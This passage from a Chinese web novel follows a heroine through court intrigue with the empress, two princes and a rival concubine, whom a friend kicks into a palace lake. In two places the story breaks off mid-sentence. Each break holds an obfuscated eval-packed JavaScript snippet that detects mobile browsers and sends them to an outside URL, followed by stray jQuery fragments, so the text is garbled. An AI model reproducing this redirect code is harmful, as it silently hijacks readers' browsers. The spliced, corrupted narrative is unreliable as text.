喻初晴保持礼貌的微笑,保守说道:“臣女以为,殿下只是一时兴起,抬举了臣女。臣女无论出身、还是学识,都不足以与殿下般配!” 苏佩云对她这样谦逊的态度,还算满意。 “你倒也不用谦虚至此。”苏佩云叹息一声,道:“你救了太子,便是救了本宫,本宫尚未谢你呢。你若是愿意,也不谈什么学识出身,本宫可以做主,去跟皇上求旨,封你为太子妃!” 喻初晴内心:丑拒! 哦,萧景明不丑,不丑的也拒! 但她脸上仍旧挂着合适的笑狐,应道:“臣女谢娘娘惦记,但皇上都已经赏赐得够多了。而太子妃的事……关于此事,臣女已经与殿下说清楚了。” 她话音一转,道:“臣女斗胆,私以为无论殿下是否一时兴起,他是储君,男女情爱于殿下而言,实在是微不足道!殿下若能娶得高门贵女,将来的路自然是要好走一些的。” 如果她因为太子心悦自己而沾沾自喜,皇后能高兴吗? 别说她不喜欢太子,就算她与太子两情相悦,都不能让皇后认为:太子离开她活不下去。 太子是未来的帝王,本就不适合谈情说爱! 尤其当着人家亲妈的面,更不能让皇后觉得太子耽于情爱——而她自己就是那个罪魁祸首。 果然,苏佩云对她十分满意:“没想到,不成器的南阳侯,竟然养出了你这样识大体的姑娘。” 皇后感慨地道:“南阳侯真是,错把珍珠当鱼目了!” 喻初晴恭谨地道:“先前得殿下做主,初晴与南阳侯府的恩义,已然了断了。” 苏佩云也不是叫她来话家常的,总要进入正题:“既是你不愿入东宫,不妨推举看看,本宫为太子选个什么样的太子妃才好?” 喻初晴:这才是皇后的本意! 她自不可能帮忙推举太子妃。 萧景明外表温吞,实际上还是挺固执的——从她几次三番拒绝了做太子妃,他依旧不死心,便可看出来。 干这事儿,会得罪萧景明。 但她也不能得罪皇后,便道:“先前不曾想过这个问题,恰巧今日乞巧宴,五品以上门庭的闺秀都来了,娘娘可否容初晴在今日宴席上,好好观察。” 苏佩云看着她,越发觉得——此女除了出身不好外,还真适合做太子妃! 太聪明了! 倘使她当真提了意见,代表她竟敢在心里揣测未来的一国之母,难免叫皇后提防她。 而同时,选了太子不喜欢的,若皇后采纳了,当真去求皇帝赐婚,便会得罪死太子。她目前是太子一条船上的人,会因为这件事与太子心生嫌隙。 可她! 不选人,也不拒绝皇后的探求,言外之意:原先我没想过这种问题,我也不敢想,可既然皇后娘娘让我想,那我便去帮物色物色! 这手回应,太漂亮了! 就连皇后身边留下的心腹王嬷嬷,都赞赏不已。 苏佩云笑了下,道:“那便要辛苦你了。” 她叹了一口气,给了王嬷嬷一个眼神。 王嬷嬷把原先准备好的一只锦盒拿出来,双手递给喻初晴:“县主,这是皇后娘娘赏给您的,多谢您帮这个忙了。” 锦盒打开,是一枚羊脂玉的平安扣。 玉质细腻,光泽喜人,当是上品。 由此可以看出,皇后对她观感不错,对她的态度,暂时是拉拢的! “谢娘娘赏赐。”喻初晴双手接过锦盒,道:“若娘娘没别的吩咐,初晴先告退了。” 苏佩云点头:“去吧,宫宴马上就要开始了。” 喻初晴从中宫出来。 走到无人又宽敞的宫道上,合欢才敢问:“县主,皇后娘娘为何不提桑雪的事?” 喻初晴面色淡然地说穿:“桑雪承宠的事消息传开了,怀孕的事肯定也一样,若皇后娘娘直接打杀了她,对皇后、太子的名声,都是不利的。但他们都容不得桑雪,那么就必须借、刀、杀、人!” 合欢和木棉都是一愣。 两人跟了喻初晴几年,经过喻初晴的调教,也都是见过大场面的丫头了。 但这宫廷权谋的东西,她们还是接触太少。 木棉有些担忧:“这水也太深了,没八百个心眼,都不知道哪一步走错,就跌落万丈深渊了!” “别怕。”喻初晴冲她笑了下,道:“放心吧,你主子我……在权谋话本里,趟水过河肯定能活到尾声!” 以前的她还真不敢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15494604|169417||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说这话。 毕竟背后无人支撑,全靠自己。 哪怕帝京全都是人脉,她也很清楚——墙倒众人推,今日捧你臭脚的人,明日说不定就会把洗脚水泼你脸上! 人生在世,坏事不要做,好事也不要做。 即便真做了好事,也千万不要认为自己是在做好事——施恩莫忘报,免得失望大于希望,导致自己行差步错、万劫不复! 为免对别人期待值太高,而算计出错。她送出的恩情,从来没想过要回收,都会在合适的场合利用掉。 用了后,很快又会抛出新的恩情,长期保持礼尚往来的关系。 但如今不一样了呀! 喻家这群人,是可靠的。 “县主。”她的话鼓舞了两个丫头,合欢笑道:“现在您也是有人疼、有人帮的了,凡事不用孤军奋战了!” 想到喻家人,喻初晴勾唇浅笑:“嗯。” 木棉也道:“是呀,当初县主想认亲,我还担心他们对你不好呢。毕竟,桑雪都被接回侯府了,他们却没有来找你。” 喻初晴很能理解:“他们不是不想来,而是观望。毕竟我在别人家养大,他们见到了南阳侯的嘴脸,对我的设想难免会有些踌躇。我想,我爹应该是想试探我。而我呢,何尝不是在试探他?” 她其实完全可以不认亲人。 当时要认,一来是想找个合适的名目——看中了喻家的“穷”。 她可以带他们“发家致富”,然后顺理成章把这些年积累的产业亮出来面见世人! 钱财不宜露白,这是最不招人眼的方式。 二来,便是明白:任何时代,团队作战都是比孤军奋战要强的! 孙悟空再有本领,以一人之力打穿天庭没问题,但! 打下来了后,他靠自己一人,能统领天庭吗? 真正的高位者,都是知人善用的。 什么事都自己做,累死得了! 她也想找帮手,而喻家有三个哥哥一个弟弟,倘使是能用的,血亲的关系相对靠谱。 因此,她孤身一人去了光明村,装可怜投奔他们,试探他们的态度。 显然,喻惊鸿试探她,成功。 她试探喻家人,也成功! “还是县主高明!”木棉笑嘻嘻说道:“就我这死脑子啊,这些事是一点儿也想不到的。” 合欢取笑她:“可不么?当时你还反对来着,生怕县主回去喻家,认回来的亲人也跟侯府的一样!” 木棉下巴一扬:“不是没可能!” 主仆几人说着笑着,见前面有人来了,便都闭上了嘴巴。 迎面走来的,竟然是三皇子与五皇子! 第123章 太子的两个兄弟 既然遇见了,喻初晴只能老老实实上前行礼:“永安,拜见二位殿下,问三殿下、五殿下安好!” 用封号,是一种无形中的距离感。 对外,她脑门上都凿着太子站队的标签了,最好跟其他皇子保持距离。 “永安县主,免礼!” “原来的南阳侯府嫡女,初晴小姐!现在,也该唤你永安啦!” 走在前面半步的,是三皇子萧金煜,后半步那位则是五皇子萧思远。 二人的气质,跟温润太子是完全不同的。 十八岁的萧金煜要显得更盛气凌人一些,眼神里浮现出来的高高在上,是下位者难以忽视的,像是被阴云笼罩了一般。 而十六岁的萧思远则是显得少年稚气,五官尚未完全长开,身高都还没有长成。 两人都是面带笑意,但一个看起来就不怎么好相处,另一个则是看上去十分活泼。 “永安是要去乞巧宴么?”萧思远指了指千秋殿的方向,道:“若是的话,正巧顺路,随我二人一道走吧。” 萧金煜没说话。 但也没反对。 三皇子历来话少,倒不是故意不理她。 喻初晴不动声色将两人的神情看尽眼里,倒是没拒绝:“是,五殿下。” 萧家的基因还是不错的。 虽说皇家联姻都以巩固势力放在第一位,但也不至于像大清朝那样,只要能巩固权势,什么歪瓜裂枣都收! 更可怕的是:亲近结婚! 生出来的下一代,智商风险且不提,即便不畸形,也可能一代比一代丑! 但萧家不这样。 目前而言,萧家传承已过百年——南阳侯爵位都**了五代。 他们有一点好:不太喜欢表兄妹亲上加亲那套! 大部分萧家子弟,若要在自己母族中找对象,也会出了三代血亲的范围。 对这点,喻初晴这个医生出身的人表示:强迫症患者极其舒适! “对了永安,你不是要去乞巧宴的吗?怎么会来这边?” 萧思远不但长得天真,说话更是无邪,没有半点城府的模样,好似现代的纯情男高。 喻初晴的回答很简单:“皇后娘娘召见。” 这又不是秘密。 “哦!”萧思远笑了,对萧金煜道:“太子哥哥十二月就年满二十了,母后是着急他的婚事了吧?” 萧金煜瞧了喻初晴一眼,笑了下:“想来是吧。” 喻初晴还以微笑。 只觉得,三皇子这一笑有点瘆人。 笑面虎,有点阴的那种! 不过,这一届皇子,长得都还不错。 萧金煜与萧思远,论五官各有各的好看,都能跟萧景明一拼。 不过—— 萧风岚是比较特殊的那个。 他的好看,是好看到让人没安全感,直觉感觉他会很花心、很轻浮的那种! 乍一看温润如玉,知书达理,阳光开朗。 熟到他们这种关系了才知道,是个绿茶小公举! “永安。”萧思远又道:“幸亏你救了太子哥哥,否则母后不知道要如何伤心呢。” 萧金煜又笑了下:“是啊。据说当时十分凶险,你是舍命相救。如此大功,别说县主,就是郡主都封得!” 喻初晴以前不是没赴过宫宴,但女眷都是被分开的居多。 加上她历来行事低调,跟这些皇子多半都是行礼客套、行礼告退的模式,不曾相处过。 她官方地应了句:“皇恩浩荡,是永安的福分。” 许是她说的话挺没趣的,多话的萧思远也就不吭声了。 皇子不开口,喻初晴更不会主动说话。 谁不知道她如今是太子阵营的人,跟他们若是走太近,鬼知道会招来什么风险! 走过一条岔道,喻初晴正想尿遁。 正巧,遇见了从太后宫里出来、赶去千秋殿的萧淼淼。 远远看见喻初晴,萧淼淼便提着裙子飞奔过来了:“初晴、初晴!” 她奔过来,抱住喻初晴的胳膊,亲昵地道:“你怎么过来了?该不会是专门在这里等我的吧?” 见了她,萧金煜和萧思远都躬身行礼:“雎宁姑姑!” 兄弟俩不管是十八岁,还是十六岁,见了十七岁的萧淼淼,也不管喜不喜欢她,都得老老实实认长辈! 萧淼淼转头看他们二人一眼,旋即问:“你们怎么会跟初晴一块儿?一起走又不说话,该不会是你们联手欺负她了吧?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15494605|169417||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >谁都知道,定西王郡主雎宁,是在西北出生、在草原奔马长大的。 说好听了,她的性子那叫率真、天然。 说难听的,就叫粗野。 刚回帝京的时候,人生地不熟还有些怯生生的,五年过去,也太“活泼”了些! 萧思远解释道:“雎宁姑姑可不要冤枉我和三皇兄了,我们也是去千秋殿的,恰好遇见了永安,便一道走而已。” “哦。”萧淼淼狐疑地转头,问:“初晴,是这样吗?” 喻初晴面上浮起淡淡的笑意,道:“我对宫道不是很熟悉,如有二位殿下引路,那再好不过。两位殿下也是好心,你别误会。” 萧淼淼不疑有他:“哦,那现在不用他们带了,我带你走!” “二位殿下,永安先行一步了。”喻初晴顺势行了个礼,果断撤。 看着两人带着各自的丫鬟离去,萧思远笑得一脸天真:“三皇兄,这永安县主跟雎宁姑姑,什么时候关系这样好的?” 萧金煜审视地看着喻初晴的背影,心里想的是:这喻初晴长袖善舞、八面玲珑、滴水不漏! 就她方才那几句,没点心眼子的人,还真不能说得这样完美。 她明明提防着他们兄弟二人,面上却一点儿也不显现,还给了他们最大的尊敬—— 当然,这尊敬是对他们身份的还是其他,是否含有水分,就只有她喻初晴自己知晓了! 他转头,看向萧思远这个天真无邪的弟弟,哂笑一下,道:“你既然好奇,方才为何不问?” 萧思远好似没听出来他的讽刺一般:“那不是明显感觉到雎宁姑姑对我们的敌意吗?她都怀疑我们欺负永安了,再多问两句,指不定得怎么想我呢!” “那你下次问问。”萧金煜说着,抖了抖袍袖,继续往前走。 “哎!”萧思远连忙追上去:“三皇兄你别走那么快,等等我嘛!你的腿长,照顾一下我腿短的啊!” 萧金煜唇角撇出一抹讥讽。 背对着萧思远的他,错过了萧思远眼底里一瞬间的轻嘲。 即将到千秋殿。 萧淼淼低声问:“初晴,你刚才怎么要跟他们一块儿走,回头别人肯定要说你,上了太子的船、又踩三皇子与五皇子的船舷!” 第124章 对喻初晴恨到了极致! 萧淼淼是率真,不是愚蠢。 既然要回帝京,她家里父兄也不会允许她愚蠢。 见她还是将局势看得挺清晰的,喻初晴反倒是很欣慰:这样才好。 不希望自己的小伙伴是个傻白甜! 她轻声道:“幸亏你来了,不然我还得跑一趟恭房。” 闻言,萧淼淼眨了眨眼睛,理解了她的意思,倏地笑出声来:“真有你的!” 两人进了千秋殿。 座次是根据各自家中长辈的品级来定的。 乞巧宴邀请的都是未婚少女,她们家里官阶最高的是几品,就按这个座次来。 萧淼淼和喻初晴除外。 她们一个是一品郡主,一个是二品县主,自己就有品级。 薛涵的祖父是从一品阁臣。 小姐妹其实差不多。 所以,在萧淼淼和喻初晴过来之前,薛涵已经花银子打点了宴席主事太监,给她们仨儿安排的位置不远! 然后问题来了—— 萧淼淼指着坐在她们后面的桑雪,道:“她……不是太子侍妾吗?怎么也来了?还能坐在咱们后面!” 按说,太子侍妾是没有资格来参加这一场乞巧宴的。 哪怕她的父亲桑文柏,还挂着南阳侯的爵位名头! 薛涵也瞧了一眼,低声道:“是皇后娘娘身边赵嬷嬷亲自送过来的,特意给她安排在这个位置的。” 喻初晴唇角微不可见地勾了勾。 皇后真不愧是六宫之主,宫斗手段杠杠的。 这是真打算借刀杀人啊! 故意把桑雪放出来,要么,让桑雪这个蠢货自己作死;要么,让别人找桑雪的茬! 专门把桑雪放到她后面,她的直觉告诉自己:我就是那个大冤种! 想着,她给两个小姐妹低语:“不管桑雪做什么,你们都不要管,一律当做听不见看不到!” “啊?”萧淼淼回头看了一眼桑雪,很快收回目光,询问:“她不是跟你有仇吗?万一她要害你,怎么办?” 薛涵干脆利落地按住她,道:“喵喵,听初晴的,准没错儿!” 萧淼淼想了想,对这句话是高度认同。 五年来,只要听初晴的安排,她不但没踩过一个坑,还赚得盆满钵满! 刚说完话,就听得“皇后娘娘驾到”的高唱。 盛装打扮的苏佩云,在一群人的簇拥下走进千秋殿,后面跟着萧金煜和萧思远这两位特邀嘉宾。 一众贵女闺秀全都站起行礼,齐刷刷地道:“参见皇后娘娘,皇后娘娘万福金安!” 苏佩云身为中宫之主,稳坐皇后之位那么多年,自然是有她的本事。 她走到前方坐下,做了个开场白后,又道:“正巧,恰逢三皇子与五皇子今日无事,本宫便让他二人陪本宫招待诸位。不过是寻常小宴,诸位不必拘谨,尽可畅饮。” 历来,各种宫宴的场合,通常都是争奇斗艳的。 各家让来赴宴的,一般都是适婚年龄的姑娘,万一被皇后看上了,说不定就能飞上枝头了。 毕竟,当朝所有皇子都尚未成婚! 十六七的,有十八九的婚配; 十三四的,不也有十五六的可以相中么? 除了梳妆打扮尽量往好看的方向去,更是早早就准备好了琴棋书画歌舞的献艺。 桑雪坐在喻初晴的身后,根本没有心思看那群千金贵女表演。 怀孕的消息送到了宫里后,皇后立即命人将她抬进宫里,进中宫面见皇后。 她还没有面对过这种场合,好在,在那之前桑怀安就给她说过了,若是怀上了会发生什么事。 她闲着没事就在脑子里过一遍,倒也没有出丑。 当时的情形是这样的—— 原本桑雪很是忐忑,毕竟自己这个孩子来路不正。 虽然桑怀安已经把那个与她睡了两天的男人处理掉了,她仍旧心里发虚,生怕被皇后揭穿。 给太子戴绿帽子,怀别人的孩子栽给太子,混淆皇室血脉…… 死罪! 但她也没有别的路可以走了呀! 不想,皇后却是非常温和。 她行礼完了第一件事,皇后便命三名太医给她诊脉。 确凿是怀上了,皇后便忍不住脸上的笑意。 肉眼可见的高兴,给太医们都打赏了。 皇后让太医退下,招手让桑雪坐在身边去。 “辛苦你了,阿雪。” 亲昵的称呼,听得桑雪受宠若惊。 她拘谨地道:“不辛苦,殿下是妾身的天,为他生儿育女,是妾身应该做的。” 紧张是一回事,还是忍不住想邀功! 桑怀安说过,皇家看重子嗣,只要知晓她怀了太子的骨肉,皇后必定很重视。 十月怀胎的时间,能够改变很多事,要她一定抓住机会。 太子那边把握不住,只要讨好皇后,也是一条出路! 苏佩云听了她的话,微微一笑,将她的手拉过去攥住,道:“但愿你能为太子诞下长子、皇长孙。” 桑雪的心就这么安定了:“妾亦是如此期盼的。” 紧接着,皇后赏赐了她不少东西,又命人炖了安胎补汤给她喝。 亲眼看着她喝完了汤,苏佩云说道:“虽说你已经是太子的侍妾了,但,毕竟是刚回到侯府的嫡女。乞巧宴过去你没来过,今日还是补一个给你吧。” 她吩咐:“赵嬷嬷,你亲自带阿雪过去,给她安排个好点的位置。再怎么说,阿雪的父亲爵位还在!” 桑雪差点感动得落泪:这是皇后对我的认可! 她开心不已,连忙谢恩。 之后,皇后的心腹赵嬷嬷,亲自将她送到这个位置上来。 桑雪一下子底气充足了许多。 但不妨碍她心里对喻初晴恨到了极致! 喻初晴这个贱人,占据了她十七年侯府嫡女的身份,享受了属于她的荣光! 结果,把侯府消耗空了,等她回去的时候,只得到一个空壳! 她是不相信案子审判结果——侯府原本就穷这个说法的,她和桑怀民一样坚信:是喻初晴搬空了侯府! 毕竟,对了五年的账本,那些账不也一样是喻初晴做的? 难道就不可能在从前就做了手脚吗? 喻初晴就是有预谋地搬空侯府,都是喻初晴害她走到今天这地步的! 说不定,喻初晴早就知道自己不是桑家亲生女儿了,故意挖了这个坑,让他们跳! 心里越想越恨,她完全不知道别人都表演了什么。 恍然听到上方五皇子萧思远说了句:“还有哪一位小姐要展示才艺?” 桑雪想也不想,扬声说道:“有!” 所有人都朝她看过来。 却见桑雪抬手指着她前面的喻初晴,道:“永安县主从前是我南阳侯府的嫡女,得到了家里精心培养,我想,她肯定会很多才艺的!” 第125章 皇后:喻初晴可以嫁入苏家? 南阳侯府真假嫡女的事,早已成为帝京高门大户茶余饭后的谈资。 本来吧,丢了个女儿找回来了;养了十七年的女儿不要了。 这都不算什么事。 勉强说得上是拨乱反正。 但! 把人家赶走,又不断上门找事儿的,真的是活久见! 这件事曝光至今,已经几个月过去了,架不住南阳侯府的人一次又一次贡献新瓜给他们,让他们在瓜田里来回翻滚,吃得津津有味啊! 所以,此时桑雪这么骚操作一出,所有人都振奋精神—— 又有新瓜了! 目光立刻聚焦在喻初晴身上。 萧淼淼怒了,回头瞪了桑雪一眼:“你故意找茬是吧?” 桑雪不认识萧淼淼,只觉得此人衣着华贵的程度,不像是高官之女,倒像是皇家中人。 她没跟萧淼淼杠上,而是又对喻初晴说:“永安县主,你和我换身份十七年,不管在桑家还是喻家,都能算姐妹呢!听说你比我还大两日,那我叫你姐姐好不好?” 如果私底下,喻初晴就直接扇她了。 嘴贱,就是求扇的。 但在这种场合,桑雪故意说这种话,自然是吃准了:喻初晴为了体面,肯定不敢动自己! 喻初晴倒不完全是为了体面,而是: 她不想做皇后的刀!!! 因此,她不但不怒,反而还微微一笑。 她举起酒杯,对座上的皇后与两位皇子说道:“贵人们原谅则个,初晴也并非第一次赴宫宴,初晴愚笨,琴棋书画都不通,也不是什么秘密。” 说着,她斜眼睨向身后的桑雪,道:“我的特长是算账,总不能在这种场合打算盘给诸位看吧?” 算账二字,一语双关! 桑雪愣住。 她想为难喻初晴,完全没想到,喻初晴竟然会直接承认自己什么都不会! 不对。 南阳侯府嫡女,琴棋书画都不会吗? 为什么会这样? “怎么可能?”她脱口而出:“你占用我的身份,在侯府过了那么多年,得到了父母亲的精心培养。非要说什么都不会,你总不会是个草包吧?” 她为难喻初晴的意图,已经明显到是个人都能看出来了! 所有人都沉默着看向这一对真假嫡女,等着看永安县主如何化解眼前的刁难。 太子侍妾、农女出身的南阳侯府真嫡女,那又如何? 也不看看如今的侯府还算什么东西? 都家破人亡了! 还说永安县主是草包,怎么不看看她自己? 没有镜子也有尿啊! 桑雪以为自己可以激怒喻初晴,让喻初晴出丑。 但她并不了解喻初晴。 喻初晴这个人情绪稳定得可怕,能让她生气的事,实在是少之又少。 她从不把情绪消耗在这些不值得的人、不值得的事上。 好比过去养着南阳侯府的一家子——能用钱打发的,她绝不会与他们多争口舌! 反正赚钱对她来说,也就比吃饭喝水一样简单。 跟他们斗气,却亏大发了! 喻初晴微微一笑,站了出来,朝座上的皇后与两个皇子行了一礼,道:“众所周知,初晴不才,的确是琴棋书画样样不精。” 她看了一眼桑雪,心道:你还是太不了解我、也不了解这个皇权世界的生存法则了! 也正常。 蠢人很难理解他人的行为,总觉得别人说的、做的都不合理,全世界只有她自己是懂王。看见个一,就急吼吼地跳出来下武断结论,生怕别人不知道她认识“一”字! 她笑着又说:“当然,即便桑雪夫人想要难为我,我也不会为难你的。毕竟,你即便上位得不怎么光彩,依然是太子殿下的侍妾!我若非要拉你出来共同展示才艺,你出了丑,岂非让殿下面上无光?” 一番话,比扇巴掌还难看,说得桑雪脸色难看至极! 所有人都想笑,又顾及这种场合,没敢笑出声来。 已经有人偷偷捂嘴了! 萧淼淼身为郡主,有她爹撑腰,如今也不像小时候那般怯生生了。 当着这么多人的面,她也敢嘲笑桑雪:“没想到吧?初晴不精琴棋书画,又不是什么秘密。你若是想让她当众出丑的话,那小算盘就真打错了!桑雪夫人,你这段位那么低,也好意思出来卖弄?” 桑雪没挨扇,但脸更疼了! 她矢口否认:“我没有要让姐姐出丑的意思。” “抱歉。”刚才还说要给太子面子的喻初晴,脱口而出:“家中只有我一个闺女,没有福分当太子殿下妾夫人的姐姐呢!” 她着重咬了“妾”这个字,恰似一重重的耳光扇在了桑雪脸上! 桑雪狠狠咬住下唇。 这么多人,她不是很敢造次。 只眼泪一滴滴落下来,看上去好像被欺负惨了的可怜虫,道:“你过去是侯府嫡女、如今是永安县主,看不上我也是正常的。毕竟我的身份被你占用了十七年,我是在农家长大的,实在没有见识!” 又开始泡茶了! 喻初晴不愠不火地道:“错了,我不是看不上你,而是压根没看见你!” 这一句,叫很多刚才还能忍住的,都忍不住噗呲笑出来。 譬如薛涵。 薛涵眉眼含笑,瞪大眼睛,冲喻初晴比了个大拇指。 苏佩云看着喻初晴,越发可惜:她若是出身高门,有个强而有力的娘家就好了,本宫必定要不顾一切让她成为太子的贤内助! 但,太子需要一个强而有力的妻族。 她已经在苏家所有姻亲之中寻找合适的太子妃人选…… 不对! 她怎么忘了另一种可能:也并非一定要让喻初晴做太子妃的,倘使嫁入苏家,成为她的侄媳妇,不一样可以为自己出谋划策、且安全可信么? 一个享食邑的县主,嫁妆也丰厚。即便没有好的出身,配苏家子侄也够了。 这么一想,苏佩云就有了新的想法。 萧金煜与萧思远也都在看着喻初晴。 萧思远年纪小,笑出声来,道:“永安既然没打算展示才艺,那你是打算做点什么呢?” 喻初晴又行了一礼,道:“方才初晴说了,别的不擅长,只善于理账!若大家不嫌弃,不如我来给大家表演一个心算之术?不上算盘,只用心算,一口气将南阳侯府五年来欠的所有外债,用最快的速度给大家算出来?” 她话音一落,桑雪猛地站起来:“喻初晴,你闭嘴!” 第126章 喻初晴,我弄死你! 桑雪哪里想得到,喻初晴竟然这么卑鄙! 她怒道:“喻初晴,你欺人太甚!” 喻初晴回转过来,微微歪头,发髻上珠贝做的流苏便轻轻摇曳着。 她本就长得好看,但平时从不张扬,尽可能不让别人发现她的相貌惊人。 在封建社会,女子拥有美貌不是什么值得骄傲的事,反而会引起男人当做战利品来争夺,带来杀身之祸! 所以,她尽量规避这种事,只有在必要的场合才会往华贵的方向打算。 如此一看,竟然另有风情。 “在场那么多人,座上更有皇后娘娘作证,到底是我欺负你,还是你不安分、故意跟我过不去?” 语气很平静,口齿清晰、逻辑分明。 明明没有任何凶狠的表情,却让桑雪感受到了沉重的压力。 这是独对桑雪的! 桑雪哑口无言:“我……我……” 所有人都看着她,不少人脸上还都是嘲弄。 她本就从未参加过这么大的宴席,也没有经历过这么多人嘲笑自己—— 先前跟着去永安县主府,倒也面对过奚落,但那好歹不是她独自一人承受压力啊! 当时她只需要躲在后面,凑个人头。 可现在!!! 情急之下,她只想到一个说辞:“我不了解你,并不知晓你不会才艺。不是故意为难你,只是觉得倘若没有阴差阳错,我们俩身份对调,说不定情况就不一样了!” 这理由,倒也说得过去。 但,认为自己如果在侯府长大,就会琴棋书画样样精通,桑雪怕是高估她自己了! 侯夫人,可不是个会培养女儿的贤妻良母! 原主长到十二岁,都没学会几首琴曲;完全不懂棋道;书法尚可,写字倒是很娟秀;绘画却是一塌糊涂了。 桑雪跟在这样的母亲身边长大,又能学会什么? 喻初晴挑眉,道:“那你的意思是……不让我表演心算了?” 桑雪虽然已经是太子府的人了,但南阳侯府…… 怎么说,都是她真正的出身! 她不想背负这些。 特别是: 她跟对自己那么好的喻家人一刀两断,以为自己可以一步登天、成为南阳侯府的嫡女、享受人上人的荣光! 结果,不但什么都捞不着。 还听了桑怀安投机取巧的计谋,一步错、步步错。 现在侯府倒了,她却在夹缝中求生! 想到这个,她是真的哭出声来——不是泡茶,是真的伤心了:“不要你表演了总行了吧,刚才都是我乱说的!嘤嘤嘤……” 见她如此,不少人忍不住摇头。 真的是难登大场面的侯府嫡女啊! 不过也能理解吧。 毕竟是农女出身。 但—— 说到农女出身,他们不免想起来喻尚武、喻慕文那对孪生兄弟。 在场的有不少人见过。 那两人跟桑雪兄妹十七年,一户人家出来的,也不像桑雪这般不上台面啊! 尤其是那个喜欢戴佛珠的书生,才气惊人且罢了,他那气质,更是多少高门子弟都无可比拟的。 说来说去,还是桑雪自己不行! 喻初晴见好就收:“既然你不想,那就算了吧。想来,也不是谁都喜欢听南阳侯府的烂账的。” 在这种场合,没必要往死里逼。 她要是真的逼死桑雪,岂非如了皇后的愿,成了一把刀? 皇后是happy了,她不happy! 众人:“……” 你错了!我们喜欢听啊! 不过,看到桑雪那样子,算了。 苏佩云有些失望。 但再看一眼桑雪那样,突然又没忍住去想:太子怎么就被这样的女人算计了? 假设这个算计太子的女人,有喻初晴这样的智谋、气度,都觉得合情合理。 自己的儿子自己了解,性子上兴许有些瑕疵,还需要细细打磨,但也并非愚笨之人啊。 难道—— 她的视线不经意滑过萧金煜和萧思远:会是他们的算计? 心里这么想着,她却还是把念头压住,打算宴后便命人去查! “好了好了,这件事就过去了。”宴会主办人,终于出面结束这场闹剧,苏佩云打圆场似的说道:“虽说马上入秋了,晌午还是有些酷热。都在屋里待着难免烦闷,不妨大家都去御花园内走走吧。” 简而言之:自由活动时间到! 所有人欣然接受,跟在皇后身后往外走。 想要跟皇后套近乎、拉关系的,都尽可能跟紧。 喻初晴、萧淼淼、薛涵三人并没有这个打算,单独去了另一边。 “好热。”萧淼淼拉着喻初晴,道:“初晴我们去湖心水榭吧,那里比较凉快!” 薛涵摇着扇子点头:“极好,我赞同。” 天气转凉是一回事,昼夜温差大也是事实。 喻初晴见两人都想过去,也没反对。 孰料,三人通过九曲桥走过去时,才发现里面已经有人了! 是桑雪! 桑雪不可能独自一人进宫的,身边跟了两名丫鬟一个嬷嬷。 明面上是伺候她的,实际上是监视。 看见三人过来,几人纷纷行礼:“见过雎宁郡主、永安县主,薛小姐安好!” 见状,桑雪心里又不平衡了! 这哪里是伺候她的人,分明是狗腿子。 面对她的时候那般苛刻,说话都是冷嘲热讽的,在喻初晴面前就那样谄媚! 喻初晴喻初晴喻初晴…… 太子殿下喜欢喻初晴,所有人喜欢喻初晴,就连这些奴才都只高看喻初晴! 喻初晴为什么不去死? 萧淼淼看见桑雪,就想扇两巴掌。 谁叫这个丑东西,刚才在宴席上为难初晴的! 她一开口就是嘲讽:“先来后到,既然是太子殿下的妾夫人用了这水榭,那我们就换个地方吧。哪怕只是个侍妾,也要给太子面子嘛!” 别人都要给太子面子,她还真不一定。 太子见了她,都要叫一声雎宁姑姑! 薛涵一看,拉了拉她的手,低声道:“别闹。” 初晴说过,最好离桑雪远一些。 这女人,一看就是个麻烦精,谁沾谁倒霉! 桑雪心里都是酸溜溜的羡慕嫉妒恨,怒火一来,根本不管萧淼淼是什么人。 她转头看向喻初晴,道:“永安县主真是好大的威风,你这装模作样,真是令人作呕!我当真想不明白,太子殿下怎么会喜欢你这种阴险毒妇!” 这话一出,所有人脸色都变了。 喻初晴不想给皇后当刀子,但这种亏要是吃了,她晚上睡不着怎么办? 上前一步,抬手就是一巴掌扇过去! “啪”! 桑雪被扇歪了头,怒瞪她:“你敢打我!” 喻初晴冷笑:“刚才在千秋殿上就想扇你了,碍于人多不好弄。感谢你给我这个机会,现在正好补上!” 桑雪本就恨死她了,被彻底激怒,大吼道:“喻初晴,我弄死你!” 说罢,猛地冲过来,朝喻初晴撞过去。 喻初晴旁边就是栏杆,只要她力道合适,就能把喻初晴撞下湖里去! 千钧一发之际,薛涵一把拉住喻初晴:“退后!” 而萧淼淼怒极,抬起脚朝桑雪踹了上去! 喻初晴急了,大喊:“淼淼别踹!” 事情要糟糕! 第127章 也是真正体验宫斗了 喻初晴很少有这么着急的时候。 桑雪不是不能出事,而是不能在她们手里出事。 然而已经来不及了,事发突然,她的嘴都没有萧淼淼的腿快! 萧淼淼可是在马背上长大的,下盘极稳,手脚上的功夫从不含糊。 飞起一脚,准确无误地将桑雪踹进了湖里! “啊!” 桑雪爆出惨叫。 紧接着,扑通一声,重物落水的哗啦啦声响起。 好像一头猪扔进了水里,飞溅三尺浪! 桑雪随行伺候的嬷嬷和丫鬟都傻眼了,一时之间竟然都不知道要怎么办。 喻初晴虽也被这意外惊到,但她当机立断,脸色绷紧地道:“还愣着做甚,赶紧捞人!” 皇后想拿她当刀,她防备着。 她会武功,凭桑雪推过来的力道,她只要往旁边一闪,就能躲过去。 她是那种人:如果你不愿意讲道理,在下也懂一点拳脚。 但她很少需要用到武功,很多事就已经解决了,萧淼淼哪里知道她的身手如何? 